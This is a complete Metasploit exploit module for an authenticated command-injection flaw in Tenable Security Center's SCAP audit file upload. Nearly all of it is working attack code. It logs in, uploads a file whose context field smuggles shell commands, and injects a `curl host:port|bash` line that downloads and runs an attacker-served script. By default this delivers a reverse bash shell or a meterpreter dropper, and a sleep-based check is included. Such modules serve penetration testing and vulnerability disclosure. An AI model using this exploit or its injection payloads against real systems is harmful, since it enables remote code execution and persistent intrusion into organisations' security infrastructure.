Tenable Security Center SCAP Audit File Command Injection

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
    
      def tailoring_xml
        collection = Rex::Text.rand_text_alphanumeric(8)
        benchmark = Rex::Text.rand_text_alphanumeric(8)
        profile = Rex::Text.rand_text_alphanumeric(8)
        <<~XML
          <?xml version="1.0" encoding="UTF-8"?>
          <ds:data-stream-collection xmlns:ds="http://scap.nist.gov/schema/scap/source/1.2"
                                     xmlns:xccdf="http://checklists.nist.gov/xccdf/1.2"
                                     id="#{collection}">
            <xccdf:Benchmark id="xccdf_#{benchmark}" version="1.0">
              <xccdf:status>draft</xccdf:status>
              <xccdf:title>#{benchmark}</xccdf:title>
              <xccdf:Profile id="xccdf_#{profile}" extends="xccdf_#{benchmark}">
                <xccdf:title>#{profile}</xccdf:title>
              </xccdf:Profile>
            </xccdf:Benchmark>
          </ds:data-stream-collection>
        XML
      end
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tenable Security Center SCAP Audit File Command Injection',
            'Description' => %q{
              Tenable Security Center prior to 6.9.0 allows an authenticated user to
              achieve command execution as the web service account (tns) via the SCAP
              audit file upload flow.
    
              Filesystem::saveTmp() builds staged upload filenames from the raw
              client-supplied `context` form parameter (tempnam prefix), which is not
              charset-validated. Referencing that staged file in a
              POST /rest/auditFile (type=scapLinux, version=1.2) request reaches
              AuditFileLib::addSCAPTailoringFile(), where the zip repack command
              interpolates the derived path unescaped:
    
              exec("{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc");
    
              basename() strips '/' but not shell metacharacters, so a context like
              `p;CMD;` executes CMD through /bin/sh.
    
              Constraints (measured on 6.7.2): the staged-name prefix survives only
              ~50 characters of context and may not contain '/' (saveTmp() applies
              basename()). This module therefore serves the payload over HTTP and
              injects only `curl${IFS}<srvhost>:<srvport>|bash` (a bare host:port
              GETs / and bash reads the served script from stdin). The served script
              itself has no such limits, which the Linux Dropper target exploits
              with a fetch payload (cmd/linux/http/...) that downloads and execs a
              full native payload (e.g. x64 meterpreter) from the payload adapter's
              own listener on FETCH_SRVPORT.
    
              Tested against SecurityCenter 6.7.2-14 on RHEL9.
            },
            'License' => MSF_LICENSE,
            'Author' => ['h00die'],
            'References' => [
              ['CVE', '2026-19681'],
              ['URL', 'https://www.tenable.com/security/tns-2026-22']
            ],
            'DisclosureDate' => '2026-08-13',
            'Platform' => ['unix'],
            'Arch' => ARCH_CMD,
            'Targets' => [
              # msf defaults to php payload, but SC bundles its own php and its not in the path so
              # we want to avoid that since it'll fail
              ['Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }], # rubocop:disable Lint/ModuleDefaultPayload
              # the fetch payload adapts ARCH_CMD to a native stage via AdaptedArch;
              # x86/aarch64/multi variants of cmd/linux/http/... work here too
              [
                'Linux Dropper', {
                  'Platform' => 'linux',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    # pinned: a native stage must come through a fetch payload to fit
                    # the length/charset-limited curl|bash injection
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 443,
              'PrependFork' => true,
              'WfsDelay' => 10,
              # fetch-payload staging (module-level so they apply even when the
              # payload is selected by hand rather than via the Dropper target):
              # the web process cwd isn't writable by tns, so stage from /tmp, and
              # keep the fetch listener off this module's SRVPORT script server
              'FETCH_WRITABLE_DIR' => '/tmp',
              'FETCH_SRVPORT' => 8081
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
          OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
        ])
      end
    
      def login
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'rest', 'token'),
          'ctype' => 'application/json',
          'data' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json
        )
        fail_with(Failure::Unreachable, 'No response to login') unless res
        json = res.get_json_document
        fail_with(Failure::NoAccess, "Login failed: #{json['error_msg']}") if json['error_code'] != 0
    
        token = json['response']
        token = token['token'] if token.is_a?(Hash)
        fail_with(Failure::NoAccess, "No token in login response: #{json}") if token.blank?
    
        # the TNS_SESSIONID cookie locates the session; the X-SecurityCenter token is
        # only accepted alongside it (HttpClient keeps no cookie jar of its own).
        # SC rotates the session id on login (two Set-Cookie headers) — keep only the
        # final value; get_cookies also leaks Set-Cookie attributes (SameSite etc.)
        session = res.get_cookies.scan(/TNS_SESSIONID=([a-f0-9]+)/i).flatten.last
        fail_with(Failure::NoAccess, 'No TNS_SESSIONID cookie in login response') unless session
        @cookies = "TNS_SESSIONID=#{session}"
        token.to_s
      end
    
      def upload(context, data, fname)
        form = Rex::MIME::Message.new
        form.add_part(data, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
        form.add_part(context, nil, nil, 'form-data; name="context"')
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'rest', 'file', 'upload'),
          'ctype' => "multipart/form-data; boundary=#{form.bound}",
          'data' => form.to_s,
          'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }
        )
        fail_with(Failure::Unreachable, 'No response to upload') unless res
        json = res.get_json_document
        fail_with(Failure::UnexpectedReply, "Upload failed: #{json['error_msg']}") if json['error_code'] != 0
    
        json['response']['filename']
      end
    
      def audit_file(staged_zip, staged_tail)
        body = {
          'name' => Rex::Text.rand_text_alphanumeric(8),
          'type' => 'scapLinux',            # AuditFileLib validSCAPTypes
          'version' => '1.2',               # tailoring branch requires 1.2
          'benchmarkName' => Rex::Text.rand_text_alphanumeric(8),
          'dataStreamName' => Rex::Text.rand_text_alphanumeric(8),
          'profileName' => '',
          'filename' => staged_zip,
          'originalFilename' => "#{Rex::Text.rand_text_alphanumeric(8)}.zip",
          'tailoringFilename' => staged_tail,
          'tailoringOriginalFilename' => "#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml",
          'auditFileTemplate' => { 'id' => -1 },
          'description' => Rex::Text.rand_text_alphanumeric(8)
        }
        t0 = Time.now
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'rest', 'auditFile'),
          'ctype' => 'application/json',
          'data' => body.to_json,
          'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }
        )
        [res, Time.now - t0]
      end
    
      def fire(context)
        # staged uploads: blank-context zip (content never inspected) + real tailoring
        # XML (the tailoringFile context parses it and requires >= 1 Profile)
        staged_zip = upload(context, Rex::Text.rand_text_alphanumeric(64), "#{Rex::Text.rand_text_alphanumeric(8)}.zip")
        staged_tail = upload('tailoringFile', tailoring_xml, "#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml")
        vprint_status("Staged Files Names: zip='#{staged_zip}' tailoring='#{staged_tail}'")
        audit_file(staged_zip, staged_tail)
      end
    
      def check
        @token = login
        # state-light differential: sleep canary in the context prefix. On vulnerable
        # builds the zip command stalls; on 6.9.0 (escapeshellarg'd) it returns fast
        # with the post-exec error 106 bounce.
        vprint_status("Attempting to send injected sleep to #{rhost}:#{rport}...")
        res, elapsed = fire("#{Rex::Text.rand_text_alphanumeric(1)};sleep${IFS}7;")
        return CheckCode::Unknown('No response to auditFile') unless res
    
        json = res.get_json_document
        if elapsed > 5
          CheckCode::Vulnerable("Injected sleep executed (request stalled #{elapsed.round(1)}s)")
        elsif json['error_msg'].to_s.include?('Invalid tailoring filename')
          CheckCode::Safe('Filename validation present (patched, 6.9.0+)')
        else
          CheckCode::Safe("No stall (#{elapsed.round(1)}s); reply: #{json['error_msg']}")
        end
      end
    
      def on_request_uri(cli, _req)
        # sc brings its own php, so use that location
        if @payload_cmd.end_with?('exec php')
          @payload_cmd = @payload_cmd.gsub(/exec php$/, 'exec /opt/sc/support/bin/php') # normalize line endings
        end
        send_response(cli, @payload_cmd, 'Content-Type' => 'text/plain')
      end
    
      # HttpServer's start_service does `opts['ssl'] ||= http_server_ssl`, so an
      # explicit 'ssl' => false gets clobbered (false is falsey) and the server
      # inherits the datastore SSL meant for the 443 client side. The injected
      # `curl host:port|bash` speaks plaintext HTTP — force the reader (aliased to
      # the datastore ssl) to false so this script server stays http. The Dropper
      # target's cmd/linux/http fetch payload serves its ELF over plaintext HTTP
      # too (cmd/linux/https/... exists if that ever needs encrypting).
      def http_server_ssl
        false
      end
    
      def exploit
        @token = login
        # for the Dropper target payload.encoded is the fetch payload's
        # download-and-exec command (curl ELF from FETCH_SRVHOST:FETCH_SRVPORT,
        # chmod +x, exec); the payload adapter runs that listener itself, so this
        # module only serves the command text at / below
        @payload_cmd = payload.encoded
    
        srv_ip = srvhost == '0.0.0.0' ? Rex::Socket.source_address(rhost) : srvhost
    
        # plaintext payload server (see http_server_ssl override): datastore SSL
        # stays true for the client side against 443. Path MUST be root — the
        # injected curl|bash fetch carries no path component, and leaving 'Path'
        # unset mounts the default Proc on a random URI instead.
        start_service('Path' => '/')
    
        inject = "curl${IFS}#{srv_ip}:#{datastore['SRVPORT']}|bash"
        fail_with(Failure::BadConfig, "Injection prefix too long for the tempnam budget: #{inject}") if inject.length > 50
    
        print_status("Injecting '#{inject}' (payload served at http://#{srv_ip}:#{datastore['SRVPORT']}/)")
        # baseline BEFORE firing: the dropper can connect back fast enough that the
        # session exists by the time we reach the wait loop
        initial = framework.sessions.count
        res, elapsed = fire("p;#{inject};")
    
        # no response here is expected and GOOD: a payload like a reverse shell can
        # hold the injected request open (or consume it outright), so the auditFile
        # POST never completes — the session is the real signal, not this reply
        if res
          json = res.get_json_document
          vprint_status("auditFile reply in #{elapsed.round(1)}s: #{json['error_msg']}")
          # error 106 ("Error adding Tailoring file") is the normal post-exec bounce;
          # it also means no AuditFile record was persisted (the GUI stays clean)
        else
          vprint_status('No auditFile reply — the payload likely held the request open')
        end
    
        # keep the payload server alive while the target's curl|bash runs; module
        # cleanup would otherwise tear it down before the fetch lands
        print_status('Waiting for the payload fetch and session...')
        waited = 0
        while waited < 20 && framework.sessions.count == initial
          Rex.sleep(1)
          waited += 1
        end
        if framework.sessions.count > initial
          print_good('Session opened')
        else
          print_warning("No session after #{waited}s — verify #{srv_ip}:#{datastore['SRVPORT']} is reachable from the target")
        end
      end
    end